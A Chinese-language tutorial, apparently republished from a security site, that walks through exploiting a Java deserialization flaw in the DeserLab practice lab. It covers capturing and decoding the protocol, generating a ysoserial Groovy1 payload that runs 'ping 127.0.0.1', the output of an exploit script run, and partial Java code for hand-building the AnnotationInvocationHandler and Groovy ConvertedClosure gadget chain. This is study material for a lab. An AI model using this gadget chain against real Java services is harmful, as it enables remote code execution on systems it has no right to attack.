Java反序列化漏洞利用的学习与实践

本文讲的是Java反序列化漏洞利用的学习与实践

Java反序列化漏洞利用的学习与实践

利用DeserLab

建议你在阅读本文之前,先阅读《攻击Java反序列化过程》,这样你就会对java反序列化有一个比较清晰的认识。除此之外,这篇文章还提到了一个“DeserLab”的演示应用。为了有效利用反序列化漏洞,理解序列化的原理以及反序列化漏洞利用的工作原理(如面向属性的编程原理),研究人员就要找到一个可供模拟的实验环境,而“DeserLab”就是一个这样的环境。

要想利用一个漏洞,通常的方法首先是先了解目标在正常的情况下是如何运行的。对于“DeserLab”实验环境来说,需要做以下3方面的准备:

1.运行服务器和客户机;
2.捕获流量;
3.了解流量。

你可以使用以下命令,运行服务器和客户端:

java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666

上述命令的输入及输出如下:

java -jar DeserLab.jar -server 127.0.0.1 6666
 [+] DeserServer started, listening on 127.0.0.1:6666
 [+] Connection accepted from 127.0.0.1:50410
 [+] Sending hello...
 [+] Hello sent, waiting for hello from client...
 [+] Hello received from client...
 [+] Sending protocol version...
 [+] Version sent, waiting for version from client...
 [+] Client version is compatible, reading client name...
 [+] Client name received: testing
 [+] Hash request received, hashing: test
 [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
 [+] Done, terminating connection.
java -jar DeserLab.jar -client 127.0.0.1 6666
 [+] DeserClient started, connecting to 127.0.0.1:6666
 [+] Connected, reading server hello packet...
 [+] Hello received, sending hello to server...
 [+] Hello sent, reading server protocol version...
 [+] Sending supported protocol version to the server...
 [+] Enter a client name to send to the server:
 testing
 [+] Enter a string to hash:
 test
 [+] Generating hash of "test"...
 [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6

但我的主要问题是,如何实现反序列化?为了回答这个问题,你可以用wireshark,tcpdump或者tshark来捕获6666号端口的流量。要捕获带有tcpdump的流量,你可以执行以下命令:

tcpdump -i lo -n -w deserlab.pcap 'port 6666'

不过要注意的是,请确保你使用wireshark浏览过pcap文件。这样,你就应该能够手动地处理一些进程了,至少能确认序列化的Java对象正在来回传递:

Java反序列化漏洞利用的学习与实践

序列化数据的提取

现在让我开始了解实际传输的内容,要提前说明的是,我使用的是SerializationDumper的工具,利用这个工具,我可以识别反序列化漏洞利用的入口点。这个工具可以解析Java序列化流,将序列化流以可视化的形式导出。在使用该工具之前,我需要提前准备一些数据,所以让我先把pcap转换成可以分析的数据。

tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g

将其分解为可以分析的小块,以便将pcap数据转换成一个十六进制编码的输出字符串。分解所做的第一件事是将pcap转换成只包含传输的数据和tcp源端口号的文本:

tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,

它看起来像这样:

50432,,6666
6666,,50432
50432,,6666
50432,aced0005,6666
6666,,50432
6666,aced0005,50432

就像你在TCP三次握手(Three-way Handshake)过程中可以看到的那样,没有数据,因此是“,,”部分。在此之后,客户端发送第一个字节,该字节由服务器发送,然后服务器再发送一些字节,以此类推。命令的第二部分将此转换为一个字符串,该字符串仅根据队列开头的端口选择的载荷进行选择:

| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g

译者注:三次握手的目的是连接服务器指定端口,建立TCP连接,并同步连接双方的序列号和确认号并交换TCP窗口大小信息。

上面只选择了服务器的响应,如果你想要客户端数据,你就需要更改端口号。最终的结果是这样的:

aced00057704f000baaa77020101737200146e622e64657365722e486[...]

我会选择两个工具来分析这些数据,首先使用的是SerializationDumper,其次使用jdeserialize。如果你想知道为什么要使用两种工具进行分析?我可以告诉你,通过实践潜在的漏洞很容易被发现。

序列化数据的分析

使用SerializationDumper,你可以将序列化数据的十六进制表示作为第一个参数来传递:

java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101

这将导致如下输出:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
 TC_BLOCKDATA - 0x77
 Length - 4 - 0x04
 Contents - 0xf000baaa
 TC_BLOCKDATA - 0x77
 Length - 2 - 0x02
 Contents - 0x0101
 TC_OBJECT - 0x73
 TC_CLASSDESC - 0x72
 className
 Length - 20 - 0x00 14
 Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374

如果我想要用jdeserialize分析相同的序列化数据,就必须首先构建jdeserialize,你可以使用anthttp://ant.apache.org/为它构建xml文件。我选择了手动编译,你可以通过以下命令实现:

mkdir build
javac -d ./build/ src/*
cd build
jar cvf jdeserialize.jar *

译者注:经过序列化的数据可以存储为文本格式的数据,如JSON或者XML,也可以存储为二进制格式的数据。

这样就产生一个我可以使用的jar文件:

java -cp jdeserialize.jar org.unsynchronized.jdeserialize

考虑到jdeserialize,我可以将序列化数据的十六进制表示转换成python:

open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))

现在,我可以通过将jdeserialize文件作为第一个应该产生的参数来分析这个文件。

java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
 read: [blockdata 0x00: 4 bytes]
 read: [blockdata 0x00: 2 bytes]
 read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
 //// BEGIN stream content output
 [blockdata 0x00: 4 bytes]
 [blockdata 0x00: 2 bytes]
 nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
 //// END stream content output
//// BEGIN class declarations (excluding array classes)
 class nb.deser.HashRequest implements java.io.Serializable {
 java.lang.String dataToHash;
 java.lang.String theHash;
 }
//// END class declarations
//// BEGIN instance dump
 [instance 0x7e0002: 0x7e0000/nb.deser.HashRequest
 field data:
 0x7e0000/nb.deser.HashRequest:
 dataToHash: r0x7e0003: [String 0x7e0003: "test"]
 theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]
 ]
 //// END instance dump

我从两个序列化数据分析工具的输出中了解到的两件事,第一件事是,它是序列化数据。第二件事是,一个对象的nb . deser。HashRequest在客户端和服务器之间传输,如果我还将此分析与之前的wireshark检查结合起来,我还能了解到用户名是在TC_BLOCKDATA类型中作为字符串发送的:

 TC_BLOCKDATA - 0x77
 Length - 9 - 0x09
 Contents - 0x000774657374696e67
'000774657374696e67'.decode('hex')
'x00x07testing'

这让我很好地了解了“DeserLab”实验室客户端和”DeserLab”实验室服务器之间的通信方式,现在来看看如何利用Ysoserial工具,ysoserial生成的载荷即可让readObject()实现任意命令执行。

开发DeserLab

至此,我对pcap分析以及对序列化数据的分析有了清晰的了解,这样,我就可以构建我自己的python脚本,其中包含一些硬编码的数据,我将在其中嵌入 ysoserial 载荷。为了让它保持精简,并让它与wireshark序列化流匹配,我决定让它完全类似于wireshark序列化流,它看起来像这样:

 mydeser = deser(myargs.targetip, myargs.targetport)
 mydeser.connect()
 mydeser.javaserial()
 mydeser.protohello()
 mydeser.protoversion()
 mydeser.clientname()
 mydeser.exploit(myargs.payloadfile)

你可以在这里找到完整的脚本,可以看到,最简单的方法就是把硬编码过的所有java反序列化交换。你可能想知道为什么在mydeser.clientname()函数之后mydeser的漏洞(myargs.payloadfile)也出现了,不过我要告诉你的是,这些都不重要,重要的是,你应该知道我是如何实际生成和发送 ysoserial 载荷的。

为此,在我阅读了几篇文章(本文后面的附注)之后,发现了大多数vulns都与Java对象的反序列化有关。

因此,当我回顾信息交换时,发现可以在一个地方交换Java对象。在序列化分析的输出中可以很容易地发现这一点,因为它或者包含“TC_OBJECT – 0x73”或者:

//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
[blockdata 0x00: 9 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; 
//// END stream content output

我可以清楚地看到,序列化流内容的最后一部分是“nb.deser.HashRequest”对象。这个对象被读取的地方也是交换的最后一部分,因此这也解释了为什么代码将利用函数作为代码的最后一部分。现在我知道了我的可利用载荷应处于什么位置,以及我如何选择,生成和发送有效载荷。

“DeserLab”实验室的代码本身并没有任何有用的东西,我可以通过修改序列化的漏洞来进一步开发。

因此,这意味着我必须寻找可能包含可以帮助我的代码的额外的库。在”DeserLab”实验室中只有一个库是Groovy,因此对于我应该使用的ysoserial 有效载荷。不过要注意的是,对于现实世界的应用程序,你可能需要自己将未知的库进行分解,并寻找有用的gadget,因为许多情况下,我们需要串联多个POP利用点才能形成完整的利用程序。POP利用点指的是一个代码片段,我可以修改某些对象的属性来影响这个代码片段,使其满足我的特定需求。

由于我知道将用于开发的库,所以有效载荷的生成非常简单:

java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin

需要注意的是,有效载荷传递是盲目的,所以如果你想知道它是否有效,你通常需要一些方法来检测它。

现在我必须删除有效载荷的前四个字节,才能并将其发送出去:

./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin 
2017-09-07 22:58:05,401 - INFO - Connecting
2017-09-07 22:58:05,401 - INFO - java serialization handshake
2017-09-07 22:58:05,403 - INFO - protocol specific handshake
2017-09-07 22:58:05,492 - INFO - protocol specific version handshake
2017-09-07 22:58:05,571 - INFO - sending name of connected client
2017-09-07 22:58:05,571 - INFO - exploiting

如果一切都顺利,你应该看到以下内容:

sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64
22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64
22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64

这就是我成功开发的“DeserLab”实验室。

手动构建有效载荷

了解我的有效载荷的最佳方法是我自己重新构建相同的载荷,这就意味着要编写Java。但问题是我从哪里开始?我可以看一下序列化有效载荷,就像我看pcap时一样。下面的一行代码将有效载荷转换为hex字符串,我可以使用SerializationDumper分析它,或者你可以使用jdeserialize分析。

open('payload.bin','rb').read().encode('hex

有一个重要的概念,你需要注意,那就是当你执行反序列化攻击时,你发送的是一个对象的“保存”状态。这意味着你完全依赖接收方的行为,具体地说,就是取决于你在“保存”状态被反序列化时所采取的操作。这意味着,如果对方不调用你发送的对象的任何方法,则不会执行远程代码执行,这意味着你所受到的惟一影响是你发送的对象属性设置。

现在这个概念很清楚,这意味着我发送的第一个类应该有一个自动的方法,如果我想要实现代码的执行,第一个类就很重要。如果我看看AnnotationInvocationHandler的代码,就可以看到构造函数接受一个 java.util.map对象和readObject调用map对象上的方法。当一个序列化流被反序列化时,readObject会被自动调用。以下就是我构建的代码:

 //this is the first class that will be deserialized
 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
 //access the constructor of the AnnotationInvocationHandler class
 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
 //normally the constructor is not accessible, so we need to make it accessible
 constructor.setAccessible(true);

调试通常要花几个小时,因此,如果你想要编译,可以参考下面的代码片段。

//regular imports
import java.io.IOException;
//reflection imports
import java.lang.reflect.Constructor;
public class ManualPayloadGenerateBlog{
 public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
 //this is the first class that will be deserialized
 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
 //access the constructor of the AnnotationInvocationHandler class
 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
 //normally the constructor is not accessible, so we need to make it accessible
 constructor.setAccessible(true);
 }
}

你可以使用以下命令来编译和运行代码:

javac ManualPayloadGenerateBlog
java ManualPayloadGenerateBlog

当你展开这段代码时,请记住以下几点:

1.搜索打印错误的代码
2.类名应该等于文件名
3.了解Java帮助。

这样初始入口点类,就可以利用上面的代码了,构造函数就可以访问,但是我需要为构造函数提供哪些参数呢?

constructor.newInstance(Override.class, map);

我理解的“map”参数是在初始readObject调用期间调用“entrySet”方法的对象。第一个参数我不完全理解它的内部工作原理,但主要的要点是,在readObject方法中,它被检查以确保第一个参数是“AnnotationType”的类型。我通过提供该类型的buildin ' Override '类来完成此任务。

为什么需要入口点?

为了利用反序列化漏洞,我需要一个入口点,通过这个入口点,我可以将自定义的序列化对象发往目标来做反序列化处理。为了识别入口点,我可以查看应用的源代码,看哪里使用了“java.io.ObjectInputStream”这个类(特别是“readObject”这个方法),或者查看实现了“readObject”方法的那些可序列化的类。如果攻击者可以控制传递给ObjectInputStream的那些数据,那么这种数据也可以作为反序列化攻击的入口点。此外,假如我无法获得Java源代码,可以查找存储在硬盘中的序列化数据,或者使用网络进行传输的序列化数据,只要知道具体要查找的内容即可。

动态代理(Dynamic Proxy)

现在重要的是要认识到第二个参数是一个Java代理对象,而不是一个简单的Java映射对象。点,你可以很好地解释Java动态代理是怎么回事。

动态代理允许单个类使用单一的方法,以任意数量的方法为任意类调用多个方法调用。动态代理可以被认为是一种Facade,但它可以伪装成任何接口的实现。该接口中的invoke()方法能够让DynamicProxy实例在运行时调用被代理类的“对外服务”,即调用被代理类需要对外实现的所有接口中的方法,也就是完成对真实方法的调用,Java帮助文档中称这些真实方法为处理程序。

Java反序列化漏洞利用的学习与实践

这意味着我可以尝试用这样的映射对象扩展我的源代码,例如:

final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>);

请注意,我仍然需要嵌入的invocationhandler。这是Groovy最终适应的部分,因为直到现在我仍然处于常规Java类的领域。Groovy之所以适合于它,是因为它有一个InvocationHandler。调用时,它最终导致如下的代码执行:

final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");

正如你在上面的代码中看到的,我现在终于可以把invocationhandler作为converted闭包对象。你可以通过分解Groovy库来确认这一点,当你查看ConvertedClosure类时,你将看到它扩展了ConversionHandler类,如果你将其分解,你将看到:

final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure);

实现InvocationHandler的事实解释了为什么我可以在代理对象中使用它,然而,我不明白的是,Groovy有效载荷是如何从一个映射代理调用到实际的代码执行,你可以使用一个反编译器来查看Groovy库。




原文发布时间为:2017年9月13日
本文作者:luochicun
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
上一篇:compass reset和layout [Sass和compass学习笔记]


下一篇:prism框架初始